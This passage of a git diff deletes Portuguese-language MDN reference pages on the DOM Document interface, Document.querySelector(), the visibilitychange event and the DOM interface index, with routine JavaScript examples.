- <dd>Represents the event handling code for the {{event("cut")}} event.</dd>
- <dt>{{domxref("Document.onfullscreenchange")}}</dt>
- <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("fullscreenchange")}} event is raised.</dd>
- <dt>{{domxref("Document.onfullscreenerror")}}</dt>
- <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("fullscreenerror")}} event is raised.</dd>
- <dt>{{domxref("Document.onpaste")}} {{non-standard_inline}}</dt>
- <dd>Represents the event handling code for the {{event("paste")}} event.</dd>
- <dt>{{domxref("Document.onpointerlockchange")}} {{experimental_inline}}</dt>
- <dd>Represents the event handling code for the {{event("pointerlockchange")}} event.</dd>
- <dt>{{domxref("Document.onpointerlockerror")}} {{experimental_inline}}</dt>
- <dd>Represetnts the event handling code for the {{event("pointerlockerror")}} event.</dd>
- <dt>{{domxref("Document.onreadystatechange")}} {{gecko_minversion_inline("1.9.2")}}</dt>
- <dd>Represents the event handling code for the {{event("readystatechange")}} event.</dd>
- <dt>{{domxref("Document.onselectionchange")}} {{experimental_inline}}</dt>
- <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("selectionchange")}} event is raised.</dd>
- <dt>{{domxref("Document.onvisibilitychange")}}</dt>
- <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("visibilitychange")}} event is raised.</dd>
- <dt>{{domxref("Document.onwheel")}} {{non-standard_inline}}</dt>
- <dd>Represents the event handling code for the {{event("wheel")}} event.</dd>
-</dl>
-
-<p>The <code>Document</code> interface is extended with the {{domxref("GlobalEventHandlers")}} interface:</p>
-
-<p>{{Page("/en-US/docs/Web/API/GlobalEventHandlers", "Properties")}}</p>
-
-<h2 id="Methods" name="Methods">Methods</h2>
-
-<p><em>This interface also inherits from the {{domxref("Node")}} and {{domxref("EventTarget")}} interfaces.</em></p>
-
-<dl>
- <dt>{{domxref("Document.adoptNode()")}}</dt>
- <dd>Adopt node from an external document.</dd>
- <dt>{{domxref("Document.captureEvents()")}} {{Deprecated_inline}}</dt>
- <dd>See {{domxref("Window.captureEvents")}}.</dd>
- <dt>{{domxref("Document.caretPositionFromPoint()")}}{{experimental_inline}}</dt>
- <dd>Gets the {{domxref("CaretPosition")}} at or near the specified coordinates.</dd>
- <dt>{{domxref("Document.caretRangeFromPoint()")}}{{non-standard_inline}}</dt>
- <dd>Gets a {{Domxref("Range")}} object for the document fragment under the specified coordinates.</dd>
- <dt>{{domxref("Document.createAttribute()")}}</dt>
- <dd>Creates a new {{domxref("Attr")}} object and returns it.</dd>
- <dt>{{domxref("Document.createAttributeNS()")}}</dt>
- <dd>Creates a new attribute node in a given namespace and returns it.</dd>
- <dt>{{domxref("Document.createCDATASection()")}}</dt>
- <dd>Creates a new CDATA node and returns it.</dd>
- <dt>{{domxref("Document.createComment()")}}</dt>
- <dd>Creates a new comment node and returns it.</dd>
- <dt>{{domxref("Document.createDocumentFragment()")}}</dt>
- <dd>Creates a new document fragment.</dd>
- <dt>{{domxref("Document.createElement()")}}</dt>
- <dd>Creates a new element with the given tag name.</dd>
- <dt>{{domxref("Document.createElementNS()")}}</dt>
- <dd>Creates a new element with the given tag name and namespace URI.</dd>
- <dt>{{domxref("Document.createEntityReference()")}} {{obsolete_inline}}</dt>
- <dd>Creates a new entity reference object and returns it.</dd>
- <dt>{{domxref("Document.createEvent()")}}</dt>
- <dd>Creates an event object.</dd>
- <dt>{{domxref("Document.createNodeIterator()")}}</dt>
- <dd>Creates a {{domxref("NodeIterator")}} object.</dd>
- <dt>{{domxref("Document.createProcessingInstruction()")}}</dt>
- <dd>Creates a new {{domxref("ProcessingInstruction")}} object.</dd>
- <dt>{{domxref("Document.createRange()")}}</dt>
- <dd>Creates a {{domxref("Range")}} object.</dd>
- <dt>{{domxref("Document.createTextNode()")}}</dt>
- <dd>Creates a text node.</dd>
- <dt>{{domxref("Document.createTouch()")}} {{Deprecated_inline}}</dt>
- <dd>Creates a {{domxref("Touch")}} object.</dd>
- <dt>{{domxref("Document.createTouchList()")}}</dt>
- <dd>Creates a {{domxref("TouchList")}} object.</dd>
- <dt>{{domxref("Document.createTreeWalker()")}}</dt>
- <dd>Creates a {{domxref("TreeWalker")}} object.</dd>
- <dt>{{domxref("Document.elementFromPoint()")}}{{experimental_inline}}</dt>
- <dd>Returns the topmost element at the specified coordinates. </dd>
- <dt>{{domxref("Document.elementsFromPoint()")}}{{experimental_inline}}</dt>
- <dd>Returns an array of all elements at the specified coordinates.</dd>
- <dt>{{domxref("Document.enableStyleSheetsForSet()")}}</dt>
- <dd>Enables the style sheets for the specified style sheet set.</dd>
- <dt>{{domxref("Document.exitPointerLock()")}} {{experimental_inline}}</dt>
- <dd>Release the pointer lock.</dd>
- <dt>{{domxref("Document.getAnimations()")}} {{experimental_inline}}</dt>
- <dd>Returns an array of all {{domxref("Animation")}} objects currently in effect, whose target elements are descendants of the <code>document</code>.</dd>
- <dt>{{domxref("Document.getElementsByClassName()")}}</dt>
- <dd>Returns a list of elements with the given class name.</dd>
- <dt>{{domxref("Document.getElementsByTagName()")}}</dt>
- <dd>Returns a list of elements with the given tag name.</dd>
- <dt>{{domxref("Document.getElementsByTagNameNS()")}}</dt>
- <dd>Returns a list of elements with the given tag name and namespace.</dd>
- <dt>{{domxref("Document.importNode()")}}</dt>
- <dd>Returns a clone of a node from an external document.</dd>
- <dt>{{domxref("Document.normalizeDocument()")}} {{obsolete_inline}}</dt>
- <dd>Replaces entities, normalizes text nodes, etc.</dd>
- <dt>{{domxref("Document.registerElement()")}} {{experimental_inline}}</dt>
- <dd>Registers a web component.</dd>
- <dt>{{domxref("Document.releaseCapture()")}} {{non-standard_inline}} {{gecko_minversion_inline("2.0")}}</dt>
- <dd>Releases the current mouse capture if it's on an element in this document.</dd>
- <dt>{{domxref("Document.releaseEvents()")}} {{non-standard_inline}} {{Deprecated_inline}}</dt>
- <dd>See {{domxref("Window.releaseEvents()")}}.</dd>
- <dt>{{domxref("Document.routeEvent()")}} {{non-standard_inline}} {{obsolete_inline(24)}}</dt>
- <dd>See {{domxref("Window.routeEvent()")}}.</dd>
- <dt>{{domxref("Document.mozSetImageElement()")}} {{non-standard_inline}} {{gecko_minversion_inline("2.0")}}</dt>
- <dd>Allows you to change the element being used as the background image for a specified element ID.</dd>
-</dl>
-
-<p>The <code>Document</code> interface is extended with the {{domxref("ParentNode")}} interface:</p>
-
-<dl>
- <dt>{{domxref("document.getElementById","document.getElementById(String id)")}}</dt>
- <dd>Returns an object reference to the identified element.</dd>
- <dt>{{domxref("document.querySelector","document.querySelector(String selector)")}} {{gecko_minversion_inline("1.9.1")}}</dt>
- <dd>Returns the first Element node within the document, in document order, that matches the specified selectors.</dd>
- <dt>{{domxref("document.querySelectorAll","document.querySelectorAll(String selector)")}} {{gecko_minversion_inline("1.9.1")}}</dt>
- <dd>Returns a list of all the Element nodes within the document that match the specified selectors.</dd>
-</dl>
-
-<p>The <code>Document</code> interface is extended with the {{domxref("XPathEvaluator")}} interface:</p>
-
-<dl>
- <dt>{{domxref("document.createExpression","document.createExpression(String expression, XPathNSResolver resolver)")}}</dt>
- <dd>Compiles an <code><a href="/en-US/docs/XPathExpression" title="XPathExpression">XPathExpression</a></code> which can then be used for (repeated) evaluations.</dd>
- <dt>{{domxref("document.createNSResolver","document.createNSResolver(Node resolver)")}}</dt>
- <dd>Creates an {{domxref("XPathNSResolver")}} object.</dd>
- <dt>{{domxref("document.evaluate","document.evaluate(String expression, Node contextNode, XPathNSResolver resolver, Number type, Object result)")}}</dt>
- <dd>Evaluates an XPath expression.</dd>
-</dl>
-
-<h3 id="Extension_for_HTML_documents">Extension for HTML documents</h3>
-
-<p>The <code>Document</code> interface for HTML documents inherit from the {{domxref("HTMLDocument")}} interface or, since HTML5,  is extended for such documents:</p>
-
-<dl>
- <dt>{{domxref("document.clear()")}} {{non-standard_inline}} {{Deprecated_inline}}</dt>
- <dd>In majority of modern browsers, including recent versions of Firefox and Internet Explorer, this method does nothing.</dd>
- <dt>{{domxref("document.close()")}}</dt>
- <dd>Closes a document stream for writing.</dd>
- <dt>{{domxref("document.execCommand","document.execCommand(String command[, Boolean showUI[, String value]])")}}</dt>
- <dd>On an editable document, executes a formating command.</dd>
- <dt>{{domxref("document.getElementsByName","document.getElementsByName(String name)")}}</dt>
- <dd>Returns a list of elements with the given name.</dd>
- <dt>{{domxref("document.getSelection()")}}</dt>
- <dd>Returns a {{domxref("Selection")}} object related to text selected in the document.</dd>
- <dt>{{domxref("document.hasFocus()")}}</dt>
- <dd>Returns <code>true</code> if the focus is currently located anywhere inside the specified document.</dd>
- <dt>{{domxref("document.open()")}}</dt>
- <dd>Opens a document stream for writing.</dd>
- <dt>{{domxref("document.queryCommandEnabled","document.queryCommandEnabled(String command)")}}</dt>
- <dd>Returns true if the formating command can be executed on the current range.</dd>
- <dt>{{domxref("document.queryCommandIndeterm","document.queryCommandIndeterm(String command)")}}</dt>
- <dd>Returns true if the formating command is in an indeterminate state on the current range.</dd>
- <dt>{{domxref("document.queryCommandState","document.queryCommandState(String command)")}}</dt>
- <dd>Returns true if the formating command has been executed on the current range.</dd>
- <dt>{{domxref("document.queryCommandSupported","document.queryCommandSupported(String command)")}}</dt>
- <dd>Returns true if the formating command is supported on the current range.</dd>
- <dt>{{domxref("document.queryCommandValue","document.queryCommandValue(String command)")}}</dt>
- <dd>Returns the current value of the current range for a formating command.</dd>
- <dt>{{domxref("document.write","document.write(String text)")}}</dt>
- <dd>Writes text in a document.</dd>
- <dt>{{domxref("document.writeln","document.writeln(String text)")}}</dt>
- <dd>Writes a line of text in a document.</dd>
-</dl>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('Page Visibility API', '#onvisiblitychange-event-handler', 'onvisibilitychange')}}</td>
- <td>{{Spec2('Page Visibility API')}}</td>
- <td>Adds <code>onvisibility</code><code>change</code>.</td>
- </tr>
- <tr>
- <td>{{SpecName('Selection API', '', 'Extend Document and GlobalEventHandlers')}}</td>
- <td>{{Spec2('Selection API')}}</td>
- <td>Adds <code>onselectstart</code> and <code>onselectionchange</code>.</td>
- </tr>
- <tr>
- <td>{{SpecName('DOM1','#i-Document','Document')}}</td>
- <td>{{Spec2('DOM1')}}</td>
- <td>Initial definition for the interface</td>
- </tr>
- <tr>
- <td>{{SpecName('DOM2 Core','#i-Document','Document')}}</td>
- <td>{{Spec2('DOM2 Core')}}</td>
- <td>Supersede DOM 1</td>
- </tr>
- <tr>
- <td>{{SpecName('DOM3 Core','#i-Document','Document')}}</td>
- <td>{{Spec2('DOM3 Core')}}</td>
- <td>Supersede DOM 2</td>
- </tr>
- <tr>
- <td>{{SpecName('DOM WHATWG','#interface-document','Document')}}</td>
- <td>{{Spec2('DOM WHATWG')}}</td>
- <td>Intend to supersede DOM 3</td>
- </tr>
- <tr>
- <td>{{SpecName('HTML WHATWG','dom.html#the-document-object','Document')}}</td>
- <td>{{Spec2('HTML WHATWG')}}</td>
- <td>Turn the {{domxref("HTMLDocument")}} interface into a <code>Document</code> extension.</td>
- </tr>
- <tr>
- <td>{{SpecName('DOM3 XPath','xpath.html#XPathEvaluator','XPathEvaluator')}}</td>
- <td>{{Spec2('DOM3 XPath')}}</td>
- <td>Define the {{domxref("XPathEvaluator")}} interface which extend document.</td>
- </tr>
- <tr>
- <td>{{SpecName('Page Visibility API', '#sec-document-interface', 'Document')}}</td>
- <td>{{Spec2('Page Visibility API')}}</td>
- <td>Extend the <code>Document</code> interface with the <code>visibilityState</code> and <code>hidden</code> attributes</td>
- </tr>
- <tr>
- <td>{{SpecName('HTML Editing','#dom-document-getselection','Document')}}</td>
- <td>{{Spec2('HTML Editing')}}</td>
- <td>Extend the <code>Document</code> interface</td>
- </tr>
- <tr>
- <td>{{SpecName('CSSOM View','#extensions-to-the-document-interface','Document')}}</td>
- <td>{{Spec2('CSSOM View')}}</td>
- <td>Extend the <code>Document</code> interface</td>
- </tr>
- <tr>
- <td>{{SpecName('CSSOM','#extensions-to-the-document-interface','Document')}}</td>
- <td>{{Spec2('CSSOM')}}</td>
- <td>Extend the <code>Document</code> interface</td>
- </tr>
- <tr>
- <td>{{SpecName('Pointer Lock','#extensions-to-the-document-interface','Document')}}</td>
- <td>{{Spec2('Pointer Lock')}}</td>
- <td>Extend the <code>Document</code> interface</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Notas_de_compatibilidade_do_navegador">Notas de compatibilidade do navegador</h2>
-
-<h3 id="Notas_do_Firefox">Notas do Firefox</h3>
-
-<p>Mozilla defines a set of non-standard properties made only for XUL content:</p>
-
-<dl>
- <dt>{{domxref("document.currentScript")}} {{non-standard_inline}} {{gecko_minversion_inline("2.0")}}</dt>
- <dd>Returns the {{HTMLElement("script")}} element that is currently executing.</dd>
- <dt>{{domxref("document.documentURIObject")}} {{gecko_minversion_inline("1.9")}}</dt>
- <dd>(<strong>Mozilla add-ons only!</strong>) Returns the {{Interface("nsIURI")}} object representing the URI of the document. This property only has special meaning in privileged JavaScript code (with UniversalXPConnect privileges).</dd>
- <dt>{{domxref("document.popupNode")}}</dt>
- <dd>Returns the node upon which a popup was invoked.</dd>
- <dt>{{domxref("document.tooltipNode")}}</dt>
- <dd>Returns the node which is the target of the current tooltip.</dd>
-</dl>
-
-<p>Mozilla also define some non-standard methods:</p>
-
-<dl>
- <dt>{{domxref("document.execCommandShowHelp")}} {{obsolete_inline("14.0")}}</dt>
- <dd>This method never did anything and always threw an exception, so it was removed in Gecko 14.0 {{geckoRelease("14.0")}}.</dd>
- <dt>{{domxref("document.getBoxObjectFor")}} {{obsolete_inline}}</dt>
- <dd>Use the {{domxref("Element.getBoundingClientRect()")}} method instead.</dd>
- <dt>{{domxref("document.loadOverlay")}}</dt>
- <dd>Loads a <a href="/en-US/docs/XUL_Overlays" title="XUL_Overlays">XUL overlay</a> dynamically. This only works in XUL documents.</dd>
- <dt>{{domxref("document.queryCommandText")}} {{obsolete_inline("14.0")}}</dt>
- <dd>This method never did anything but throw an exception, and was removed in Gecko 14.0 {{geckoRelease("14.0")}}.</dd>
-</dl>
-
-<h3 id="Notas_do_Internet_Explorer">Notas do Internet Explorer</h3>
-
-<p>Microsoft defines some non-standard properties:</p>
-
-<dl>
- <dt>{{domxref("document.fileSize")}}* {{non-standard_inline}} {{obsolete_inline}}</dt>
- <dd>Returns size in bytes of the document. Starting with Internet Explorer 11, that property is no longer supported. See <a href="http://msdn.microsoft.com/en-us/library/ms533752%28v=VS.85%29.aspx" title="http://msdn.microsoft.com/en-us/library/ms533752%28v=VS.85%29.aspx">MSDN</a>.</dd>
- <dt><span style="font-weight: normal; line-height: 1.5;">Internet Explorer does not support all methods from the <code>Node</code> interface in the <code>Document</code> interface:</span></dt>
-</dl>
-
-<dl>
- <dt>{{domxref("document.contains")}}</dt>
- <dd>As a work-around, <code>document.body.contains()</code> can be used.</dd>
-</dl>
-
-<p> </p>
diff --git a/files/pt-pt/web/api/document/queryselector/index.html b/files/pt-pt/web/api/document/queryselector/index.html
deleted file mode 100644
index e979e285d3..0000000000
--- a/files/pt-pt/web/api/document/queryselector/index.html
+++ /dev/null
@@ -1,134 +0,0 @@
----
-title: Document.querySelector()
-slug: Web/API/Document/querySelector
-tags:
- - API
- - DOM
- - Document
- - Elementos DOM
- - Referencia
- - Selector API
- - Seletores CSS
- - Seletors
- - metodo
- - querySelector
-translation_of: Web/API/Document/querySelector
----
-<div>{{ApiRef("DOM")}}</div>
-
-<p>O método <code><strong>querySelector()</strong></code> de {{domxref("Document")}} retorna o primeiro {{domxref("Element")}} dentro do documento que corresponde ao seletor, ou grupo de seleteores especificados. Se não há elementos que correspondem, <code>null</code> é devolvido como resultado.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: A correspondência é feita através de uma travessia <em>pre-order</em> em profundidade dos nódulos do documento, a começar com o primeiro elemento da marcação do documento e iterando através de nódulos sequenciais por ordem do número de nódulos filhos.</p>
-</div>
-
-<h2 id="Syntaxe">Syntaxe</h2>
-
-<pre class="syntaxbox notranslate"><var>element</var> = document.querySelector(<var>selectors</var>);
-</pre>
-
-<h3 id="Parameteros">Parameteros</h3>
-
-<dl>
- <dt><var>selectors</var></dt>
- <dd>Um {{domxref("DOMString")}} a conter um ou mais seletores para com que corresponder. Esta string tem de ser um seletor de CSS valido; se não é, uma <em>exception</em> <code>SYNTAX_ERR</code> é lançada. Veja <a href="/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">Localizar elementos do DOM a usar seletores</a> para saber mais sobre seletor e como os gerir.</dd>
-</dl>
-
-<div class="note">
-<p><strong>Nota:</strong> Os carateres que não fazem parte da sintaxe padrão do CSS devem ser evitados ao usar um caráter de barra invertida. Uma vez que o JavaScript também usa barra invertida para escapar, deve ter especial cuidado ao escrever <em>string literals</em> usando estes carateres. Veja {{anch("Escapar carateres especiais")}} para obter mais informação.</p>
-</div>
-
-<h3 id="Resultado">Resultado</h3>
-
-<p>Um objeto {{domxref("HTMLElement")}} a representar o primeiro elemento no documento que corresponde aos <a href="/en-US/docs/Web/CSS/CSS_Selectors">seletores de CSS</a>, ou <code>null</code> se não há elementos correspondentes.</p>
-
-<p>Se precisar de uma lista de todos os elementos que correspondem ao seletores especificados, deve usar {{domxref("Document.querySelectorAll", "querySelectorAll()")}}.</p>
-
-<h3 id="Exeções">Exeções</h3>
-
-<dl>
- <dt><code>SYNTAX_ERR</code></dt>
- <dd>O syntaxe dos <em>selectors</em> especificados está incorrecto.</dd>
-</dl>
-
-<h2 id="Notas_de_uso">Notas de uso</h2>
-
-<p>Se o seletor especificado corresponde a um ID que é incorretamente utilizado mais que uma vez num documento, o primeiro elemento com esse ID será devolvido.</p>
-
-<p><a href="/en-US/docs/Web/CSS/Pseudo-elements">Pseudoelementos de CSS</a> não devolvem elementos, como é especificado na <a href="http://www.w3.org/TR/selectors-api/#grammar">API de seletores</a>.</p>
-
-<h3 id="Escapar_carateres_especiais">Escapar carateres especiais</h3>
-
-<p>Para corresponder a um ID ou seletor que não segue a sintaxe de CSS padrão (ao usar o caráter de dois pontos ou espaço incorretamente), deve escapar o caráter com uma barra invertida ("<code>\</code>"). Como a barra invertida também é um caráter de escapar no JavaScript, se a escrever numa <em>string literal</em>, tem de a escapar duas vezes (primeiro para a <em>string</em> do JavaScript, e depois para o <code>querySelector()</code>):</p>
-
-<pre class="brush: html notranslate">&lt;div id="foo\bar"&gt;&lt;/div&gt;
-&lt;div id="foo:bar"&gt;&lt;/div&gt;
-
-&lt;script&gt;
- console.log('#foo\bar'); // "#fooar" (\b é o caráter de controlo para a barra invertida)
- document.querySelector('#foo\bar'); // Corresponde a nada
-
- console.log('#foo\\bar'); // "#foo\bar"
- console.log('#foo\\\\bar'); // "#foo\\bar"
- document.querySelector('#foo\\\\bar'); // Corresponde ao primeiro div
-
- document.querySelector('#foo:bar'); // Corresponde a nada
- document.querySelector('#foo\\:bar'); // Corresponde ao segundo div
-&lt;/script&gt;</pre>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Encontrar_o_primeiro_elemento_que_corresponde_a_uma_classe">Encontrar o primeiro elemento que corresponde a uma classe</h3>
-
-<p>Neste exemplo, o primeiro elemento no documento com a classe <code>myclass</code> é devolvida:</p>
-
-<pre class="brush: js notranslate">var el = document.querySelector(".myclass");
-</pre>
-
-<h3 id="Um_seletor_mais_complexo">Um seletor mais complexo</h3>
-
-<p>Seletores são muito poderosos, como demonstrado no seguinte exemplo. O primeiro elemento {{HTMLElement("input")}} com o nome "login" (<code>&lt;input name="login"/&gt;</code>) encontrado dentro dum {{HTMLElement("div")}} cuja classe é "user-panel main" (<code>&lt;div class="user-panel main"&gt;</code>) no documento é devolvido:</p>
-
-<pre class="brush: js notranslate">var el = document.querySelector("div.user-panel.main input[name='login']");
-</pre>
-
-<h3 id="Negação">Negação</h3>
-
-<p>Todos os strings de seletores de CSS são válidos, assim também é possivel ter seletores de negação:</p>
-
-<pre class="brush: js notranslate">var el = document.querySelector("div.user-panel:not(.main) input[name='login']");</pre>
-
-<p>Isto seléciona um <code>input</code> que tem um <code>div</code> com classe <code>user-panel</code> como parente, mas sem a classe <code>main</code>.</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName("DOM WHATWG", "#dom-parentnode-queryselector", "document.querySelector()")}}</td>
- <td>{{Spec2("DOM WHATWG")}}</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<div>{{Compat("api.Document.querySelector")}}</div>
-
-<h2 id="Veja_também">Veja também</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">Localizar elementos DOM a usar selectors</a></li>
- <li>{{domxref("Element.querySelector()")}}</li>
- <li>{{domxref("Document.querySelectorAll()")}}</li>
- <li>{{domxref("Element.querySelectorAll()")}}</li>
- <li><a href="/en-US/docs/Code_snippets/QuerySelector">Snippets de código para o querySelector</a></li>
-</ul>
diff --git a/files/pt-pt/web/api/document/visibilitychange_event/index.html b/files/pt-pt/web/api/document/visibilitychange_event/index.html
deleted file mode 100644
index 02df020b70..0000000000
--- a/files/pt-pt/web/api/document/visibilitychange_event/index.html
+++ /dev/null
@@ -1,148 +0,0 @@
----
-title: visibilitychange
-slug: Web/API/Document/visibilitychange_event
-translation_of: Web/API/Document/visibilitychange_event
----
-<p>O evento <code>visibilitychange</code> é ativado quando o conteúdo de um separador se torna visível ou foi ocultado.</p>
-
-<h2 id="Informação_geral">Informação geral</h2>
-
-<dl>
- <dt style="float: left; text-align: right; width: 120px;">Especificação</dt>
- <dd style="margin: 0 0 0 120px;">{{SpecName("Page Visibility API")}}</dd>
- <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
- <dd style="margin: 0 0 0 120px;">{{domxref("event")}}</dd>
- <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
- <dd style="margin: 0 0 0 120px;">Sim</dd>
- <dt style="float: left; text-align: right; width: 120px;">Cancelável</dt>
- <dd style="margin: 0 0 0 120px;">Não</dd>
- <dt style="float: left; text-align: right; width: 120px;">Destino</dt>
- <dd style="margin: 0 0 0 120px;">{{domxref("Document")}}</dd>
- <dt style="float: left; text-align: right; width: 120px;">Ação Predefinida</dt>
- <dd style="margin: 0 0 0 120px;"> </dd>
- <dd style="margin: 0 0 0 120px;">None</dd>
-</dl>
-
-<h2 id="Propriedades">Propriedades</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Propriedade</th>
- <th scope="col">Tipo</th>
- <th scope="col">Descrição</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>target</code> {{readonlyInline}}</td>
- <td>{{domxref("EventTarget")}}</td>
- <td>The event target (the topmost target in the DOM tree).</td>
- </tr>
- <tr>
- <td><code>type</code> {{readonlyInline}}</td>
- <td>{{domxref("DOMString")}}</td>
- <td>The type of event.</td>
- </tr>
- <tr>
- <td><code>bubbles</code> {{readonlyInline}}</td>
- <td>{{jsxref("Boolean")}}</td>
- <td>Whether the event normally bubbles or not.</td>
- </tr>
- <tr>
- <td><code>cancelable</code> {{readonlyInline}}</td>
- <td>{{jsxref("Boolean")}}</td>
- <td>Whether the event is cancellable or not.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<pre class="brush:js;">document.addEventListener("visibilitychange", function() {
- console.log( document.visibilityState );
-});
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('Page Visibility API','#sec-visibilitychange-event','visibilitychange')}}</td>
- <td>{{Spec2('Page Visibility API')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidade de navegador</h2>
-
-<p>{{CompatibilityTable}}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari (WebKit)</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>13 {{property_prefix("webkit")}}<br>
- 33</td>
- <td>{{CompatGeckoDesktop(10)}} {{property_prefix("moz")}}<br>
- {{CompatGeckoDesktop(18)}}</td>
- <td>10</td>
- <td>
- <p>12.10[1]</p>
- </td>
- <td>6.1</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Phone</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>4.4 {{property_prefix("webkit")}}</td>
- <td>{{CompatGeckoMobile(10)}} {{property_prefix("moz")}}<br>
- {{CompatGeckoMobile(18)}}</td>
- <td>{{CompatUnknown}}</td>
- <td>12.10 [1]</td>
- <td>7</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<p>[1] Doesn't fire the <code>visibilitychange</code> event when the browser window is minimized, nor set <code>hidden</code> to <code>true</code>.</p>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/API/Page_Visibility_API" title="DOM/Using_the_Page_Visibility_API">Utilização de Page Visibility API</a></li>
- <li><a href="/pt-PT/docs/Web">Document.visibilityState</a></li>
-</ul>
diff --git a/files/pt-pt/web/api/document_object_model/index.html b/files/pt-pt/web/api/document_object_model/index.html
deleted file mode 100644
index eecf95b04f..0000000000
--- a/files/pt-pt/web/api/document_object_model/index.html
+++ /dev/null
@@ -1,502 +0,0 @@
----
-title: Modelo de Objeto de Documento (DOM)
-slug: Web/API/Document_Object_Model
-tags:
- - API
- - DOM
- - DOM Reference
- - NeedsTranslation
- - Referencia
- - TopicStub
-translation_of: Web/API/Document_Object_Model
-original_slug: DOM/DOM_Reference
----
-<div>{{DefaultAPISidebar("DOM")}}</div>
-
-<p>O <strong>Modelo de Objeto de Documento (<em>DOM</em>)</strong> interliga as páginas da <em>Web</em> para <em>scripts</em> ou linguagens de programação. Normalmente, isso significa que JavaScript, mas a modelagem de documentos HTML, SVG ou XML como objetos não é parte da linguagem de JavaScript. O modelo DOM representa um documento com uma árvore lógica. Cada ramo da árvore termina em um nodo, e cada nodo contém objetos. Os métodos DOM permitem o acesso programático à árvore; com eles, pode alterar a estrutura, o estilo ou o conteúdo do documento. Os nodos podem ter manipuladores de eventos anexados aos mesmos. Quando é acionado um evento, os manipuladores de eventos são executados .</p>
-
-<p>Está disponível uma <a href="/pt-PT/docs/Gecko_DOM_Reference/Introduction">introdução </a>ao DOM.</p>
-
-<h2 id="Interfaces_DOM">Interfaces DOM</h2>
-
-<div class="index">
-<ul>
- <li>{{domxref("Attr")}}</li>
- <li>{{domxref("CharacterData")}}</li>
- <li>{{domxref("ChildNode")}} {{experimental_inline}}</li>
- <li>{{domxref("Comment")}}</li>
- <li>{{domxref("CustomEvent")}}</li>
- <li>{{domxref("Document")}}</li>
- <li>{{domxref("DocumentFragment")}}</li>
- <li>{{domxref("DocumentType")}}</li>
- <li>{{domxref("DOMError")}}</li>
- <li>{{domxref("DOMException")}}</li>
- <li>{{domxref("DOMImplementation")}}</li>
- <li>{{domxref("DOMString")}}</li>
- <li>{{domxref("DOMTimeStamp")}}</li>
- <li>{{domxref("DOMSettableTokenList")}}</li>
- <li>{{domxref("DOMStringList")}}</li>
- <li>{{domxref("DOMTokenList")}}</li>
- <li>{{domxref("Element")}}</li>
- <li>{{domxref("Event")}}</li>
- <li>{{domxref("EventTarget")}}</li>
- <li>{{domxref("HTMLCollection")}}</li>
- <li>{{domxref("MutationObserver")}}</li>
- <li>{{domxref("MutationRecord")}}</li>
- <li>{{domxref("Node")}}</li>
- <li>{{domxref("NodeFilter")}}</li>
- <li>{{domxref("NodeIterator")}}</li>
- <li>{{domxref("NodeList")}}</li>
- <li>{{domxref("ParentNode")}} {{experimental_inline}}</li>
- <li>{{domxref("ProcessingInstruction")}}</li>
- <li>{{domxref("Range")}}</li>
- <li>{{domxref("Text")}}</li>
- <li>{{domxref("TreeWalker")}}</li>
- <li>{{domxref("URL")}}</li>
- <li>{{domxref("Window")}}</li>
- <li>{{domxref("Worker")}}</li>
- <li>{{domxref("XMLDocument")}} {{experimental_inline}}</li>
-</ul>
-</div>
-
-<h2 id="Interfaces_DOM_obsoletas_obsolete_inline">Interfaces DOM obsoletas {{obsolete_inline}}</h2>
-
-<p>The Document Object Model has been highly simplified. To achieve this, the following interfaces present in the different DOM level 3 or earlier specification have been removed. It is still not very clear whether some may be reintroduced or not, but for the time being they have to be considered as obsolete and should be avoided:</p>
-
-<div class="index">
-<ul>
- <li>{{domxref("CDATASection")}}</li>
- <li>{{domxref("DOMConfiguration")}}</li>
- <li>{{domxref("DOMErrorHandler")}}</li>
- <li>{{domxref("DOMImplementationList")}}</li>
- <li>{{domxref("DOMImplementationRegistry")}}</li>
- <li>{{domxref("DOMImplementationSource")}}</li>
- <li>{{domxref("DOMLocator")}}</li>
- <li>{{domxref("DOMObject")}}</li>
- <li>{{domxref("DOMUserData")}}</li>
